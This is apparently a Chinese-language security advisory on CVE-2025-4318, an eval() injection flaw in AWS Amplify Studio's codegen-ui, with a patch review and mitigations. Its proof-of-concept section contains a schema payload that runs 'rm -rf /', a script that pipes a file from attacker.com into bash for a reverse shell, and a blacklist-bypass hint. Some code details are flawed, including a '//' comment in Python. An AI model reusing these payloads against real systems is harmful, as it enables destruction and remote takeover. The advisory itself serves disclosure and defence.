1 簡介與漏洞概述

CVE-2025-4318 是 AWS Amplify Studio 的 UI 生成框架中的一個 重大安全漏洞 ,具體影響 @aws-amplify/codegen-ui 套件(版本 ≤2.20.2)。此漏洞允許具有元件修改權限的 已認證攻擊者 在元件繪制或建置過程中執行任意 JavaScript 程式碼。該漏洞的 CVSS v4 分數為 9.5(嚴重),其根源在於 UI 元件結構描述中對 JavaScript 表達式的錯誤處理。AWS Amplify Studio 是一個 低程式碼開發環境 ,可透過拖放介面視覺化生成 React 元件。其架構依賴於 JSON-based 的元件結構描述,其中動態屬性(例如標籤、佔位符)被定義為 JavaScript 表達式。這些表達式使用不安全的方法如 eval() 進行動態評估,從而導致命令注入。

駭客如何利用 CVE-2025-4318 入侵 AWS Amplify Studio | 資訊安全新聞

漏洞指標

CVE ID 受影響套件 易受攻擊版本 修補版本 CVSS 分數
CVE-2025-4318 @aws-amplify/codegen-ui ≤2.20.2 2.20.3 9.5 (Critical)

2 技術根本原因分析

2.1 表達式綁定機制

該漏洞存在於 Amplify Studio 的 表達式綁定功能 中,該功能處理儲存在元件 JSON 結構描述中的 JavaScript 表達式。當開發者定義動態屬性(例如 { "value": "user.firstName" } )時,這些表達式會在以下情況下被評估(Evaluated):

  • 在 Amplify Studio 中進行元件預覽繪制
  • 透過 AWS CLI 進行本地程式碼生成
  • CI/CD 管線建置

2.2 有漏洞的程式碼流程

修補前版本(≤2.20.2)使用了未經輸入清理或沙箱化的 不安全動態評估(unsafe dynamic evaluation) 方法。核心問題存在於 evaluateExpression.ts 中:

  1. // 有漏洞的的評估邏輯 (v2.20.2)
  2. export function evaluateExpression(expression: string): any {
  3. return eval(expression); // ⚠️ 直接使用未受信任輸入進行 eval
  4. }

此實現允許任意字串輸入在 Node.js 執行時期作為 Native JavaScript 執行。攻擊者可透過元件屬性(例如 placeholder.value )注入惡意表達式(Malicious expressions)。

2.3 攻擊向量機制

利用此漏洞的惡意元件結構描述如下所示:

  1. {
  2. "componentType": "TextField",
  3. "properties": {
  4. "placeholder": {
  5. "value": "require('child_process').execSync('rm -rf / || touch /tmp/rce-success')"
  6. }
  7. }
  8. }

當 Amplify 的程式碼生成管線處理時:

  1. 解析 JSON 結構描述並提取屬性值
  2. evaluateExpression() placeholder.value 字串直接傳遞給 eval()
  3. Node.js 以 完整系統權限 執行嵌入的命令

3 利用場景與概念驗證

3.1 攻擊前提條件

  • 認證 :擁有 Amplify Studio 存取權的合法 AWS 帳戶
  • 權限 :允許 amplify:CreateComponent amplify:UpdateComponent 的 IAM 策略
  • 進入點
    • Amplify Studio 網頁介面
    • 使用 ≤2.20.2 版本的 amplify-codegen-ui 的 AWS CLI
    • 使用有漏洞的程式碼生成版本的 CI/CD 管線

3.2 概念驗證攻擊程式碼

以下 Python 腳本生成用於遠端程式碼執行的惡意元件結構描述:

  1. import json
  2. payload = """
  3. require('child_process').execSync('curl https://attacker.com/shell.sh | bash')
  4. """
  5. component = {
  6. "componentType": "Button",
  7. "name": "ExploitComponent",
  8. "properties": {
  9. "label": { "value": "Free Gift!" },
  10. "onClick": { "value": payload } // 使用者互動觸發 RCE
  11. }
  12. }
  13. with open('MaliciousComponent.json', 'w') as f:
  14. json.dump(component, f)

利用流程

[攻擊者]
1. 製作惡意 JSON →
2. 透過 Amplify Studio 上傳 →

[受害者系統]
3. 程式碼生成評估元件 →
4. eval() 執行 payload →
5. 建立反向 shell

3.3 影響分析

成功利用此漏洞可實現:

  • 任意命令執行 :透過 Node.js 的 child_process 模組完全控制建置伺服器
  • 敏感資料竊取 :從 CI/CD 系統竊取 AWS 認證、原始碼或環境機密
  • 供應鏈危害 :在生成的前端程式碼中注入後門
  • 持久化機制 :安裝加密貨幣挖礦程式或勒索軟體 payload

4 修補分析與緩解策略

4.1 AWS 修補實現

2.20.3 版引入了具有安全控制的 沙箱化評估器

  1. // 修補後邏輯 (v2.20.3+)
  2. import { safeEval } from './sandbox';
  3. export function evaluateExpression(expression: string): any {
  4. return safeEval(expression); // 沙箱化執行
  5. }
  6. // sandbox.ts
  7. export function safeEval(expr: string): any {
  8. if (!isValidExpression(expr)) {
  9. throw new Error("Unsafe expression detected.");
  10. }
  11. return Function('"use strict"; return (' + expr + ')')();
  12. }
  13. function isValidExpression(expr: string): boolean {
  14. const blacklist = ['require', 'process', 'child_process', 'global', 'Function', 'eval'];
  15. return !blacklist.some(word => expr.includes(word)); // 關鍵字封鎖
  16. }

關鍵安全增強

  • 環境隔離 :表達式在嚴格模式 JavaScript 環境中執行
  • 危險 API 黑名單 :阻止存取 Node.js 模組如 child_process
  • 輸入驗證 :拒絕包含禁止關鍵字的表達式

4.2 修補限制

雖然修補有效防止遠端程式碼執行,但仍有限制:

  • 黑名單繞過風險 :Unicode 混淆(例如 \u0072\u0065\u0071\u0075\u0069\u0072\u0065 表示 "require")
  • 拒絕服務 :惡意表達式可能導致評估器 Crash(例如 while(true){}
  • 資料竊取 :允許的 API 如 fetch() 可能洩漏敏感資料

4.3 全面緩解框架

層次 行動 實施指引
程式碼 升級至 ≥2.20.3 npm update @aws-amplify/codegen-ui
IAM 最小權限原則 限制 amplify:ModifyComponent 僅限必要人員
監控 CloudTrail 分析 對來自異常 IP 的 CreateComponent / UpdateComponent 發出警報
CI/CD 結構描述完整性檢查 建置前掃描可疑表達式(例如 child_process fs
網路 建置系統隔離 在無網際網路存取的專用 VPC 中執行 Amplify 建置

5 低程式碼平台的安全最佳實務

5.1 安全的表達式處理

  • 避免動態評估 :以宣告式表達式引擎取代 eval() 模式
  • 強沙箱化 :使用具有逾時和記憶體限制的 VM 模組(例如 vm2
  • 白名單 :僅允許安全操作(例如數學、字串方法),而非黑名單

5.2 架構建議

  • 元件簽署 :使用 AWS Signer 對結構描述進行數位簽署以防止篡改
  • 建置場隔離 :在無持久儲存的臨時容器中執行程式碼生成
  • 執行時期保護 :整合 AWS Inspector 在建置期間進行異常檢測

5.3 雲原生開發的經驗教訓

CVE-2025-4318 展示了 低程式碼抽象層 的系統性風險:

  • 信任邊界混淆 :將使用者生成的結構描述視為可信任程式碼
  • 過度權限的 IAM :過多的元件編輯權限導致橫向移動
  • 不安全預設值 :早期版本缺乏沙箱化

6 結論

CVE-2025-4318 展示了 視覺化開發工具 在動態評估使用者輸入時引入的重大安全挑戰。AWS 在披露後 24 小時內發布的快速修補凸顯了其嚴重性,但漏洞窗口使數千個專案暴露於遠端程式碼執行風險。此案例研究強調了雲端開發的三大必要條件:

  1. 對使用者輸入零信任 :將所有使用者提供的結構描述視為不可信任程式碼
  2. 深度防禦 :結合 IAM 控制、網路分割和行為監控
  3. 安全設計工具 :低程式碼平台必須將沙箱化作為核心功能

未來研究應探索修補版本中的 沙箱逃逸技術 以及 Amplify 建置管線中的 自動化攻擊檢測 。隨著低程式碼採用的加速,雲端提供商和企業必須優先考慮抽象層的安全性,這已成為不可妥協的要求。

Copyright © 2025 版權所有 翊天科技有限公司